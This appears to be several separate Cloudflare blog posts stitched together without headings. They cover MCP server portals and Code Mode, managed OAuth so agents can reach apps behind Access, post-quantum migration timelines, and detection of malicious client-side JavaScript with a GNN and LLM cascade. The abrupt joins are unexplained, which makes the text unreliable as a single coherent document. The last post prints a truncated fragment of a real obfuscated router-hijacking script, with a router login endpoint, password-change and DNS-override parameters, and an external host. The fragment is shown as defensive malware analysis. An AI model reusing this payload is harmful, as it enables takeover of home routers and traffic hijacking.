async () => {
 const tools = await codemode.tools();
 return tools
  .filter(t => t.name.includes("jira") || t.name.includes("drive"))
  .map(t => ({ name: t.name, params: Object.keys(t.inputSchema.properties || {}) }));
}

The model now knows the exact tool names and parameters it needs, without the full schemas of tools ever entering its context. It then writes a single execute call to chain the operations together:

// portal_codemode_execute
async () => {
 const tickets = await codemode.jira_search_jira_with_jql({
  jql: ‘project = BLOG AND status = “In Progress”’,
  fields: [“summary”, “description”]
 });
 const doc = await codemode.google_workspace_drive_get_content({
  fileId: “1aBcDeFgHiJk”
 });
 await codemode.jira_update_jira_ticket({
  issueKey: tickets[0].key,
  fields: { description: tickets[0].description + “\n\n” + doc.content }
 });
 return { updated: tickets[0].key };
}

This is just two tool calls. The first discovers what's available, the second does the work. Without Code Mode, this same workflow would have required the model to receive the full schemas of every tool from both MCP servers upfront, and then make three separate tool invocations.

Let’s put the savings in perspective: when our internal MCP server portal is connected to just four of our internal MCP servers, it exposes 52 tools that consume approximately 9,400 tokens of context just for their definitions. With Code Mode enabled, those 52 tools collapse into 2 portal tools consuming roughly 600 tokens, a 94% reduction. And critically, this cost stays fixed. As we connect more MCP servers to the portal, the token cost of Code Mode doesn’t grow.

Code Mode can be activated on an MCP server portal by adding a query parameter to the URL. Instead of connecting to your portal over its usual URL (e.g. https://myportal.example.com/mcp), you attach ?codemode=search_and_execute to the URL (e.g. https://myportal.example.com/mcp?codemode=search_and_execute).

We aren’t done yet. We plug AI Gateway into our architecture by positioning it on the connection between the MCP client and the LLM. This allows us to quickly switch between various LLM providers (to prevent vendor lock-in) and to enforce cost controls (by limiting the number of tokens each employee can burn through). The full architecture is shown below.

Now that we’ve provided governed access to authorized MCP servers, let’s look into dealing with unauthorized MCP servers. We can perform shadow MCP discovery using Cloudflare Gateway. Cloudflare Gateway is our comprehensive secure web gateway that provides enterprise security teams with visibility and control over their employees’ Internet traffic.

We can use the Cloudflare Gateway API to perform a multi-layer scan to find remote MCP servers that are not being accessed via an MCP server portal. This is possible using a variety of existing Gateway and Data Loss Prevention (DLP) selectors, including:

• Using the Gateway httpHost selector to scan for 

  • known MCP server hostnames using (like mcp.stripe.com)

  • mcp.* subdomains using wildcard hostname patterns 

• Using the Gateway httpRequestURI selector to scan for MCP-specific URL paths like /mcp and /mcp/sse 

• Using DLP-based body inspection to find MCP traffic, even if that traffic uses URI that do not contain the telltale mentions of mcp or sse. Specifically, we use the fact that MCP uses JSON-RPC over HTTP, which means every request contains a "method" field with values like "tools/call", "prompts/get", or "initialize." Here are some regex rules that can be used to detect MCP traffic in the HTTP body:

const DLP_REGEX_PATTERNS = [
  {
    name: "MCP Initialize Method",
    regex: '"method"\\s{0,5}:\\s{0,5}"initialize"',
  },
  {
    name: "MCP Tools Call",
    regex: '"method"\\s{0,5}:\\s{0,5}"tools/call"',
  },
  {
    name: "MCP Tools List",
    regex: '"method"\\s{0,5}:\\s{0,5}"tools/list"',
  },
  {
    name: "MCP Resources Read",
    regex: '"method"\\s{0,5}:\\s{0,5}"resources/read"',
  },
  {
    name: "MCP Resources List",
    regex: '"method"\\s{0,5}:\\s{0,5}"resources/list"',
  },
  {
    name: "MCP Prompts List",
    regex: '"method"\\s{0,5}:\\s{0,5}"prompts/(list|get)"',
  },
  {
    name: "MCP Sampling Create Message",
    regex: '"method"\\s{0,5}:\\s{0,5}"sampling/createMessage"',
  },
  {
    name: "MCP Protocol Version",
    regex: '"protocolVersion"\\s{0,5}:\\s{0,5}"202[4-9]',
  },
  {
    name: "MCP Notifications Initialized",
    regex: '"method"\\s{0,5}:\\s{0,5}"notifications/initialized"',
  },
  {
    name: "MCP Roots List",
    regex: '"method"\\s{0,5}:\\s{0,5}"roots/list"',
  },
];

The Gateway API supports additional automation. For example, one can use the custom DLP profile we defined above to block traffic, or redirect it, or just to log and inspect MCP payloads. Put this together, and Gateway can be used to provide comprehensive detection of unauthorized remote MCP servers accessed via an enterprise network. 

For more information on how to build this out, see this tutorial. 

So far, we’ve been focused on protecting our workforce’s access to our internal MCP servers. But, like many other organizations, we also have public-facing MCP servers that our customers can use to agentically administer and operate Cloudflare products. These MCP servers are hosted on Cloudflare’s developer platform. (You can find a list of individual MCPs for specific products here, or refer back to our new approach for providing more efficient access to the entire Cloudflare API using Code Mode.)

We believe that every organization should publish official, first-party MCP servers for their products. The alternative is that your customers source unvetted servers from public repositories where packages may contain dangerous trust assumptions, undisclosed data collection, and any range of unsanctioned behaviors. By publishing your own MCP servers, you control the code, update cadence, and security posture of the tools your customers use.

Since every remote MCP server is an HTTP endpoint, we can put it behind the Cloudflare Web Application Firewall (WAF). Customers can enable the AI Security for Apps feature within the WAF to automatically inspect inbound MCP traffic for prompt injection attempts, sensitive data leakage, and topic classification. Public facing MCPs are protected just as any other web API.  

We hope our experience, products, and reference architectures will be useful to other organizations as they continue along their own journey towards broad enterprise-wide adoption of MCP.

We’ve secured our own MCP workflows by: 

• Offering our developers a templated framework for building and deploying remote MCP servers on our developer platform using Cloudflare Access for authentication

• Ensuring secure, identity-based access to authorized MCP servers by connecting our entire workforce to MCP server portals

• Controlling costs using AI Gateway to mediate access to the LLMs powering our workforce’s MCP clients, and using Code Mode in MCP server portals to reduce token consumption and context bloat

• Discovering shadow MCP usage by Cloudflare Gateway 

For organizations advancing on their own enterprise MCP journeys, we recommend starting by putting your existing remote and third-party MCP servers behind  Cloudflare MCP server portals and enabling Code Mode to start benefitting for cheaper, safer and simpler enterprise deployments of MCP.  

_{Acknowledgements:  This reference architecture and blog represents this work of many people across many different roles and business units at Cloudflare. This is just a partial list of contributors: Ann Ming Samborski,  Kate Reznykova, Mike Nomitch, James Royal, Liam Reese, Yumna Moazzam, Simon Thorpe, Rian van der Merwe, Rajesh Bhatia, Ayush Thakur, Gonzalo Chavarri, Maddy Onyehara, and Haley Campbell.}

All of these apps are protected by Cloudflare Access. But when we started using and building agents — particularly for uses beyond writing code — we hit a wall. People could access apps behind Access, but their agents couldn’t.

Access sits in front of internal apps. You define a policy, and then Access will send unauthenticated users to a login page to choose how to authenticate. 

^{Example of a Cloudflare Access login page}

This flow worked great for humans. But all agents could see was a redirect to a login page that they couldn’t act on.

Providing agents with access to internal app data is so vital that we immediately implemented a stopgap for our own internal use. We modified OpenCode’s web fetch tool such that for specific domains, it triggered the cloudflared CLI to open an authorization flow to fetch a JWT (JSON Web Token). By appending this token to requests, we enabled secure, immediate access to our internal ecosystem.

While this solution was a temporary answer to our own dilemma, today we’re retiring this workaround and fixing this problem for everyone. Now in open beta, every Access application supports managed OAuth. One click to enable it for an Access app, and agents that speak OAuth 2.0 can easily discover how to authenticate (RFC 9728), send the user through the auth flow, and receive back an authorization token (the same JWT from our initial solution). 

Now, the flow works smoothly for both humans and agents. Cloudflare Access has a generous free tier. And building off our newly-introduced Organizations beta, you’ll soon be able to bridge identity providers across Cloudflare accounts too.

For a given internal app protected by Cloudflare Access, you enable managed OAuth in one click:

Once managed OAuth is enabled, Cloudflare Access acts as the authorization server. It returns the www-authenticate header, telling unauthorized agents where to look up information on how to get an authorization token. They find this at https://<your-app-domain>/.well-known/oauth-authorization-server. Equipped with that direction, agents can just follow OAuth standards: 

1. The agent dynamically registers itself as a client (a process known as Dynamic Client Registration — RFC 7591), 

2. The agent sends the human through a PKCE (Proof Key for Code Exchange) authorization flow (RFC 7636)

3. The human authorizes access, which grants a token to the agent that it can use to make authenticated requests on behalf of the user

Here’s what the authorization flow looks like:

If this authorization flow looks familiar, that’s because it’s what the Model Context Protocol (MCP) uses. We originally built support for this into our MCP server portals product, which proxies and controls access to many MCP servers, to allow the portal to act as the OAuth server. Now, we’re bringing this to all Access apps, so agents can access not only MCP servers that require authorization, but also web pages, web apps, and REST APIs.

Upgrading the long tail of internal software to work with agents is a daunting task. In principle, in order to be agent-ready, every internal and external app would ideally have discoverable APIs, a CLI, a well-crafted MCP server, and have adopted the many emerging agent standards.

AI adoption is not something that can wait for everything to be retrofitted. Most organizations have a significant backlog of apps built over many years. And many internal “apps” work great when treated by agents as simple websites. For something like an internal wiki, all you really need is to enable Markdown for Agents, turn on managed OAuth, and agents have what they need to read protected content.

To make the basics work across the widest set of internal applications, we use Managed OAuth. By putting Access in front of your legacy internal apps, you make them agent-ready instantly. No code changes, no retrofitting. Instead, just immediate compatibility.

Agents need to act on behalf of users inside organizations. One of the biggest anti-patterns we’ve seen is people provisioning service accounts for their agents and MCP servers, authenticated using static credentials. These have their place in simple use cases and quick prototypes, and Cloudflare Access supports service tokens for this purpose.

But the service account approach quickly shows its limits when fine-grained access controls and audit logs are required. We believe that every action an agent performs must be easily attributable to the human who initiated it, and that an agent must only be able to perform actions that its human operator is likewise authorized to do. Service accounts and static credentials become points at which attribution is lost. Agents that launder all of their actions through a service account are susceptible to confused deputy problems and result in audit logs that appear to originate from the agent itself.

For security and accountability, agents must use security primitives capable of expressing this user–agent relationship. OAuth is the industry standard protocol for requesting and delegating access to third parties. It gives agents a way to talk to your APIs on behalf of the user, with a token scoped to the user’s identity, so that access controls correctly apply and audit logs correctly attribute actions to the end user.

RFC 9728 is the OAuth standard that makes it possible for agents to discover where and how to authenticate. It standardizes where this information lives and how it’s structured. This RFC became official in April 2025 and was quickly adopted by the Model Context Protocol (MCP), which now requires that both MCP servers and clients support it.

But outside of MCP, agents should adopt RFC 9728 for an even more essential use case: making requests to web pages that are protected behind OAuth and making requests to plain old REST APIs.

Most agents have a tool for making basic HTTP requests to web pages. This is commonly called the “web fetch” tool. It’s similar to using the fetch() API in JavaScript, often with some additional post-processing on the response. It’s what lets you paste a URL into your agent and have your agent go look up the content.

Today, most agents’ web fetch tools won’t do anything with the www-authenticate header that a URL returns. The underlying model might choose to introspect the response headers and figure this out on its own, but the tool itself does not follow www-authenticate, look up /.well-known/oauth-authorization-server, and act as the client in the OAuth flow. But it can, and we strongly believe it should! Agents already do this to act as remote MCP clients.

To demonstrate this, we’ve put up a draft pull request that adapts the web fetch tool in Opencode to show this in action. Before making a request, the adapted tool first checks whether it already has credentials ; if it does, it uses them to make the initial request. If the tool gets back a 401 or a 403 with a www-authenticate header, it asks the user for consent to be sent through the server’s OAuth flow.

Here’s how that OAuth flow works. If you give the agent a URL that is protected by OAuth and complies with RFC 9728, the agent prompts the human for consent to open the authorization flow:

…sending the human to the login page:

…and then to a consent dialog that prompts the human to grant access to the agent:

Once the human grants access to the agent, the agent uses the token it has received to make an authenticated request:

Any agent from Codex to Claude Code to Goose and beyond can implement this, and there’s nothing bespoke to Cloudflare. It’s all built using OAuth standards.

We think this flow is powerful, and that supporting RFC 9728 can help agents with more than just making basic web fetch requests. If a REST API supports RFC 9728 (and the agent does too), the agent has everything it needs to start making authenticated requests against that API. If the REST API supports RFC 9727, then the client can discover a catalog of REST API endpoints on its own, and do even more without additional documentation, agent skills, MCP servers or CLIs. 

Each of these play important roles with agents — Cloudflare itself provides an MCP server for the Cloudflare API (built using Code Mode), Wrangler CLI, and Agent Skills, and a Plugin. But supporting RFC 9728 helps ensure that even when none of these are preinstalled, agents have a clear path forward. If the agent has a sandbox to execute untrusted code, it can just write and execute code that calls the API that the human has granted it access to. We’re working on supporting this for Cloudflare’s own APIs, to help your agents understand how to use Cloudflare.

At Cloudflare our own internal apps are deployed to dozens of different Cloudflare accounts, which are all part of an Organization — a newly introduced way for administrators to manage users, configurations, and view analytics across many Cloudflare accounts. We have had the same challenge as many of our customers: each Cloudflare account has to separately configure an IdP, so Cloudflare Access uses our identity provider. It’s critical that this is consistent across an organization — you don’t want one Cloudflare account to inadvertently allow people to sign in just with a one-time PIN, rather than requiring that they authenticate via single-sign on (SSO).

To solve this, we’re currently working on making it possible to share an identity provider across Cloudflare accounts, giving organizations a way to designate a single primary IdP for use across every account in their organization.

As new Cloudflare accounts are created within an organization, administrators will be able to configure a bridge to the primary IdP with a single click, so Access applications across accounts can be protected by one identity provider. This removes the need to manually configure IdPs account by account, which is a process that doesn’t scale for organizations with many teams and individuals each operating their own accounts.

Across companies, people in every role and business function are now using agents to build internal apps, and expect their agents to be able to access context from internal apps. We are responding to this step function growth in internal software development by making the Workers Platform and Cloudflare One work better together — so that it is easier to build and secure internal apps on Cloudflare. 

Expect more to come soon, including:

• More direct integration between Cloudflare Access and Cloudflare Workers, without the need to validate JWTs or remember which of many routes a particular Worker is exposed on.

• wrangler dev --tunnel — an easy way to expose your local development server to others when you’re building something new, and want to share it with others before deploying

• A CLI interface for Cloudflare Access and the entire Cloudflare API

• More announcements to come during Agents Week 2026

Managed OAuth is now available, in open beta, to all Cloudflare customers. Head over to the Cloudflare dashboard to enable it for your Access applications. You can use it for any internal app, whether it’s one built on Cloudflare Workers, or hosted elsewhere. And if you haven’t built internal apps on the Workers Platform yet — it’s the fastest way for your team to go from zero to deployed (and protected) in production.

At Cloudflare, we believe in making the Internet private and secure by default. We started by offering free universal SSL certificates in 2014, began preparing our post-quantum migration in 2019, and enabled post-quantum encryption for all websites and APIs in 2022, mitigating harvest-now/decrypt-later attacks. While we’re excited by the fact that over 65% of human traffic to Cloudflare is post-quantum encrypted, our work is not done until authentication is also upgraded. Credible new research and rapid industry developments suggest that the deadline to migrate is much sooner than expected. This is a challenge that any organization must treat with urgency, which is why we’re expediting our own internal Q-Day readiness timeline.

What happened? Last week, Google announced they had drastically improved upon the quantum algorithm to break elliptic curve cryptography, which is widely used to secure the Internet. They did not reveal the algorithm, but instead provided a zero-knowledge proof that they have one.

This is not even the biggest breakthrough. That same day, Oratomic published a resource estimate for breaking RSA-2048 and P-256 on a neutral atom computer. For P-256, it only requires a shockingly low 10,000 qubits. Google’s motivation behind their recent announcement to also pursue neutral atoms alongside superconducting quantum computers becomes clear now. Although Oratomic explains their basic approach, they still leave out crucial details on purpose.

These independent advances prompted Google to accelerate their post-quantum migration timeline to 2029. What’s more, in their announcement and other talks, Google has placed a priority on quantum-secure authentication over mitigating harvest-now/decrypt-later attacks. As we discuss next, this priority indicates that Google is concerned about Q-Day coming as soon as 2030. Following the announcements, IBM Quantum Safe’s CTO is more pessimistic and can’t rule out quantum “moonshot attacks” on high value targets as early as 2029.

The quantum threat is well known: Q-Day is the day that sufficiently capable quantum computers can break essential cryptography used to protect data and access across systems today. Cryptographically relevant quantum computers (CRQCs) don’t exist yet, but many labs across the world are pursuing different approaches to building one. Until recently, progress on CRQCs has been mostly public, but there is no reason to expect that will continue. Indeed, there is ample reason to expect that progress will leave the public eye. As quantum computer scientist Scott Aaronson warned at the end of 2025:

[A]t some point, the people doing detailed estimates of how many physical qubits and gates it’ll take to break actually deployed cryptosystems using Shor’s algorithm are going to stop publishing those estimates, if for no other reason than the risk of giving too much information to adversaries. Indeed, for all we know, that point may have been passed already.

That point has now passed indeed.

We’d like to spend some words on why it’s difficult to predict progress on quantum computing. Sudden “quantum” leaps in understanding, like the one we witnessed last week, can occur even if everything happens in the public eye. Simply put, breaking cryptography with a quantum computer requires engineering on three independent fronts: quantum hardware, error correction, and quantum software. Progress on each front compounds progress on the others.

Hardware. There are many different competing approaches. We mentioned neutral atoms and superconducting qubits, but there are also ion-trap, photonics, and moonshots like topological qubits. Complementary approaches can even be combined. Most of these approaches are pursued by several labs around the world. They all have their distinct engineering challenges and problems to solve before they can scale up. A few years ago, all of them had a long list of open challenges, and it was unclear if any of them would scale. Today most of them have made good progress. None have been demonstrated to scale yet: if they had, we wouldn’t have a couple of years left. But these approaches are much closer now, especially neutral atoms. To ignore this progress, you’d have to believe that every single approach will hit a wall.

Error correction. All quantum computers are noisy and require error-correcting codes to perform meaningful computation. This adds quite a bit of overhead, though how much depends on the architecture. More noise requires more error correction, but more interestingly, improved qubit connectivity allows for much more efficient codes. For a sense of scale: typically around a thousand physical qubits are required for one logical qubit for the superconducting quantum computers that are noisy and only have neighbor qubit connectivity. We knew “reconfigurable qubits” such as those of neutral-atom machines allow for an order of magnitude better error-correcting codes. Surprisingly, Oratomic showed the advantage is even larger: only about 3-4 physical neutral atom qubits are required per logical qubit.

Software. Lastly, the quantum algorithms to crack cryptography can be improved. This is Google’s breakthrough: they massively sped up the algorithm to crack P-256. On top of that, Oratomic showed further architecture specific optimizations for reconfigurable qubits.

The picture comes together: in 2025 neutral atoms turned out to be more scalable than expected, and now Oratomic figured out how to do much better error-correcting codes with such highly connected qubits. On top of that, breaking P-256 requires much less work. The result is that Q-Day has been pulled forward significantly from typical 2035+ timelines, with neutral atoms in the lead, and other approaches not far behind.

In previous blog posts we’ve discussed how different quantum computers compare on physical qubit count and fidelity, compared to the conservative goalpost of cracking RSA-2048 on a superconducting qubit architecture. This analysis gives us a rough idea of how much time we have, and it’s certainly better than tracking quantum factoring records, but it misses architecture-specific optimization and software improvements. What to watch for now is when the final missing capabilities for each architecture are achieved.

Historically, the industry’s focus on post-quantum cryptography (PQC) has been based largely on PQ encryption, which stops harvest-now/decrypt-later (HNDL) attacks. In an HNDL attack, an adversary harvests sensitive encrypted network traffic today and stores it until a future date when it can use a powerful quantum computer to decrypt the data. HNDL attacks are the primary threat when Q-Day is far away. That’s why our focus, thus far, has been on mitigating this risk, by adopting post-quantum encryption by default in our products since 2022. Today, as we mentioned above, most Cloudflare products are secure against HNDL attacks, and we’re working to upgrade the rest as we speak. 

The other category of attacks is against authentication: adversaries armed with functioning quantum computers impersonate servers or forge access credentials. If Q-Day is far off, authentication is not urgent: deploying PQ certificates and signatures does not add any value, only effort.

An imminent Q-Day flips the script: data leaks are severe, but broken authentication is catastrophic. Any overlooked quantum-vulnerable remote-login key is an access point for an attacker to do as they wish, whether that’s to extort, take down, or snoop on your system. Any automatic software-update mechanism becomes a remote code execution vector. An active quantum attacker has it easy — they only need to find one trusted quantum-vulnerable key to get in.

When experts in the field of building quantum computers start patching authentication systems, we should all listen. The question is no longer "when will our encrypted data be at risk?" but "how long before an attacker walks in the front door with a quantum-forged key?"

If quantum computers arrive in the next few years, they will be scarce and expensive. Attackers will prioritize high-value targets, like long-lived keys that unlock substantial assets or persistent access such as root certificates, API auth keys and code-signing certs. If an attacker is able to compromise one such key, they retain indefinite access until they are discovered or that key is revoked.

This suggests long-lived keys should be prioritized. That is certainly true if the quantum attack of a single key is expensive and slow, which is to be expected for the first generation of neutral atom quantum computers. That’s not the case for scalable superconducting quantum computers and later generations of neutral atom quantum computers, which could well crack keys much faster. Such fast CRQCs flip the script again, and an adversary with one might focus purely on HNDL attacks so that their attacks remain undetected. Google’s Sophie Schmieg compares this scenario to Enigma’s cryptanalysis that changed the direction of World War II.

Adding support for PQ cryptography is not enough. Systems must disable support for quantum-vulnerable cryptography to be secure against downgrade attacks. In larger, especially federated systems such as the web, this is not feasible because not every client (browser) will support post-quantum certificates, and servers need to keep supporting these legacy clients. However, downgrade protection for HTTPS is still achievable using “PQ HSTS” and/or certificate transparency.

Disabling quantum-vulnerable cryptography is not the last step: once done, all secrets such as passwords and access tokens previously exposed in the quantum-vulnerable system need to be rotated. Unlike post-quantum encryption, which takes one big push, migrating to post-quantum authentication has a long dependency chain — not to mention third-party validation and fraud monitoring. This will take years, not months.

It’s natural for organizations reading this to rush out and think about which internal systems they need to upgrade. But that’s not the end of the story. Q-day threatens all systems. As such, it’s important to understand the impact of a potential Q-day on third-party dependencies, both direct and indirect. Not just the third-parties you speak cryptography to, but also any third parties that are critical business dependencies like financial services and utilities.

With Q-day approaching on a shorter timeline, post-quantum authentication is top priority. Long-term keys should be upgraded first. Deep dependency chains and the fact that everyone has third-party vendors means this effort will take on the order of years, not months. Upgrading to post-quantum cryptography is not enough: to prevent downgrades, quantum-vulnerable cryptography must also be turned off.

Today, Cloudflare provides post-quantum encryption for the majority of our products mitigating harvest-now/decrypt-later. This is the product of work we started over a decade ago to protect our customers and the Internet at large. We are targeting full post-quantum security including authentication for our entire product suite by 2029. Here we’re sharing some intermediate milestones we’ve set, subject to change as our understanding of the risk and deployment challenges evolve.

For businesses, we recommend making post-quantum support a requirement for any procurement. Common best practices, like keeping software updated and automating certificate issuance, are meaningful and will get you pretty far. We recommend assessing critical vendors early for what their failure to take action would mean for your business.

For regulatory agencies and governments: leading by setting early timelines has been crucial for industry-wide progress so far. We are now in a pivotal position where fragmentation in standards and effort between and within jurisdictions could put progress at risk. We recommend that governments assign and empower a lead agency to coordinate the migration on a clear timeline, stay security-focused, and promote the use of existing international standards. Governments need not panic, but can lead migration with confidence.

For Cloudflare customers, with respect to our services, you do not need to take any mitigating action. We are following the latest advancements in quantum computing closely and taking proactive steps to protect your data. As we have done in the past, we will turn on post-quantum security by default, with no switches to flip. What we don’t control is the other side: browsers, applications, and origins need to upgrade. Corporate network traffic on Cloudflare need not worry: Cloudflare One offers end-to-end protection when tunnelling traffic through our post-quantum encrypted infrastructure.

Privacy and security are table stakes for the Internet. That's why every post-quantum upgrade we build will continue to be available to all customers, on every plan, at no additional cost. Making post-quantum security the default is the only way to protect the Internet at scale.

Free TLS helped encrypt the web. Free post-quantum cryptography will help secure it for what comes next.

If that sounds abstract, here are two recent examples of such skimming attacks:

• In January 2026, Sansec reported a browser-side keylogger running on an employee merchandise store for a major U.S. bank, harvesting personal data, login credentials, and credit card information.

• In September 2025, attackers published malicious releases of widely used npm packages. If those packages were bundled into front-end code, end users could be exposed to crypto-stealing in the browser.

To further our goal of building a better Internet, Cloudflare established a core tenet during our Birthday Week 2025: powerful security features should be accessible without requiring a sales engagement. In pursuit of this objective, we are announcing two key changes today:

First, Cloudflare Client-Side Security Advanced (formerly Page Shield add-on) is now available to self-serve customers. And second, domain-based threat intelligence is now complimentary for all customers on the free Client-Side Security bundle.

In this post, we’ll explain how this product works and highlight a new AI detection system designed to identify malicious JavaScript while minimizing false alarms. We’ll also discuss several real-world applications for these tools.

Cloudflare Client-Side Security assesses 3.5 billion scripts per day, protecting 2,200 scripts per enterprise zone on average.

Under the hood, Client-Side Security collects these signals using browser reporting (for example, Content Security Policy), which means you don’t need scanners or app instrumentation to get started, and there is zero latency impact to your web applications. The only prerequisite is that your traffic is proxied through Cloudflare.

Client-Side Security Advanced provides immediate access to powerful security features:

• Smarter malicious script detection: Using in-house machine learning, this capability is now enhanced with assessments from a Large Language Model (LLM). Read more details below.

• Code change monitoring: Continuous code change detection and monitoring is included, which is essential for meeting compliance like PCI DSS v4, requirement 11.6.1.

• Proactive blocking rules: Benefit from positive content security rules that are maintained and enforced through continuous monitoring.

Managing client-side security is a massive data problem. For an average enterprise zone, our systems observe approximately 2,200 unique scripts; smaller business zones frequently handle around 1,000. This volume alone is difficult to manage, but the real challenge is the volatility of the code.

Roughly a third of these scripts undergo code updates within any 30-day window. If a security team attempted to manually approve every new DOM (document object model) interaction or outbound connection, the resulting overhead would paralyze the development pipeline.

Instead, our detection strategy focuses on what a script is trying to do. That includes intent classification work we’ve written about previously. In short, we analyze the script's behavior using an Abstract Syntax Tree (AST). By breaking the code down into its logical structure, we can identify patterns that signal malicious intent, regardless of how the code is obfuscated.

Client-side security operates differently than active vulnerability scanners deployed across the web, where a Web Application Firewall (WAF) would constantly observe matched attack signatures. While a WAF constantly blocks high-volume automated attacks, a client-side compromise (such as a breach of an origin server or a third-party vendor) is a rare, high-impact event. In an enterprise environment with rigorous vendor reviews and code scanning, these attacks are rare.

This rarity creates a problem. Because real attacks are infrequent, a security system’s detections are statistically more likely to be false positives. For a security team, these false alarms create fatigue and hide real threats. To solve this, we integrated a Large Language Model (LLM) into our detection pipeline, drastically reducing the false positive rate.

Our frontline detection engine is a Graph Neural Network (GNN). GNNs are particularly well-suited for this task: they operate on the Abstract Syntax Tree (AST) of the JavaScript code, learning structural representations that capture execution patterns regardless of variable renaming, minification, or obfuscation. In machine learning terms, the GNN learns an embedding of the code’s graph structure that generalizes across syntactic variations of the same semantic behavior.

The GNN is tuned for high recall. We want to catch novel, zero-day threats. Its precision is already remarkably high: less than 0.3% of total analyzed traffic is flagged as a false positive (FP). However, at Cloudflare’s scale of 3.5 billion scripts assessed daily, even a sub-0.3% FP rate translates to a volume of false alarms that can be disruptive to customers.

The core issue is a classic class imbalance problem. While we can collect extensive malicious samples, the sheer diversity of benign JavaScript across the web is practically infinite. Heavily obfuscated but perfectly legitimate scripts — like bot challenges, tracking pixels, ad-tech bundles, and minified framework builds — can exhibit structural patterns that overlap with malicious code in the GNN’s learned feature space. As much as we try to cover a huge variety of interesting benign cases, the model simply has not seen enough of this infinite variety during training.

This is precisely where Large Language Models (LLMs) complement the GNN. LLMs possess a deep semantic understanding of real-world JavaScript practices: they recognize domain-specific idioms, common framework patterns, and can distinguish sketchy-but-innocuous obfuscation from genuinely malicious intent.

Rather than replacing the GNN, we designed a cascading classifier architecture:

1. Every script is first evaluated by the GNN. If the GNN predicts the script as benign, the detection pipeline terminates immediately. This incurs only the minimal latency of the GNN for the vast majority of traffic, completely bypassing the heavier computation time of the LLM.

2. If the GNN flags the script as potentially malicious (above the decision threshold), the script is forwarded to an open-source LLM hosted on Cloudflare Workers AI for a second opinion.

3. The LLM, provided with a security-specialized prompt context, semantically evaluates the script’s intent. If it determines the script is benign, it overrides the GNN’s verdict.

This two-stage design gives us the best of both worlds: the GNN’s high recall for structural malicious patterns, combined with the LLM’s broad semantic understanding to filter out false positives.

As we previously explained, our GNN is trained on publicly accessible script URLs, the same scripts any browser would fetch. The LLM inference at runtime runs entirely within Cloudflare’s network via Workers AI using open-source models (we currently use gpt-oss-120b).

As an additional safety net, every script flagged by the GNN is logged to Cloudflare R2 for posterior analysis. This allows us to continuously audit whether the LLM’s overrides are correct and catch any edge cases where a true attack might have been inadvertently filtered out. Yes, we dogfood our own storage products for our own ML pipeline.

The results from our internal evaluations on real production traffic are compelling. Focusing on total analyzed traffic under the JS Integrity threat category, the secondary LLM validation layer reduced false positives by nearly 3x: dropping the already low ~0.3% FP rate down to ~0.1%. When evaluating unique scripts, the impact is even more dramatic: the FP rate plummets a whopping ~200x, from ~1.39% down to just 0.007%.

At our scale, cutting the overall false positive rate by two-thirds translates to millions fewer false alarms for our customers every single day. Crucially, our True Positive (actual attack) detection capability includes a fallback mechanism:as noted above, we audit the LLM’s overrides to check for possible true attacks that were filtered by the LLM.

Because the LLM acts as a highly reliable precision filter in this pipeline, we can now afford to lower the GNN’s decision threshold, making it even more aggressive. This means we catch novel, highly obfuscated True Attacks that would have previously fallen just below the detection boundary, all without overwhelming customers with false alarms. In the next phase, we plan to push this even further.

This two-stage architecture is already proving its worth in the wild. Just recently, our detection pipeline flagged a novel, highly obfuscated malicious script (core.js) targeting users in specific regions.

In this case, the payload was engineered to commandeer home routers (specifically Xiaomi OpenWrt-based devices). Upon closer inspection via deobfuscation, the script demonstrated significant situational awareness: it queries the router's WAN configuration (dynamically adapting its payload using parameters like wanType=dhcp, wanType=static, and wanType=pppoe), overwrites the DNS settings to hijack traffic through Chinese public DNS servers, and even attempts to lock out the legitimate owner by silently changing the admin password. Instead of compromising a website directly, it had been injected into users' sessions via compromised browser extensions.

To evade detection, the script's core logic was heavily minified and packed using an array string obfuscator — a classic trick, but effective enough that traditional threat intelligence platforms like VirusTotal have not yet reported detections at the time of this writing.

Our GNN successfully revealed the underlying malicious structure despite the obfuscation, and the Workers AI LLM confidently confirmed the intent. Here is a glimpse of the payload showing the target router API and the attempt to inject a rogue DNS server:

const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&asyn=0&auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&autoset=1&dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ng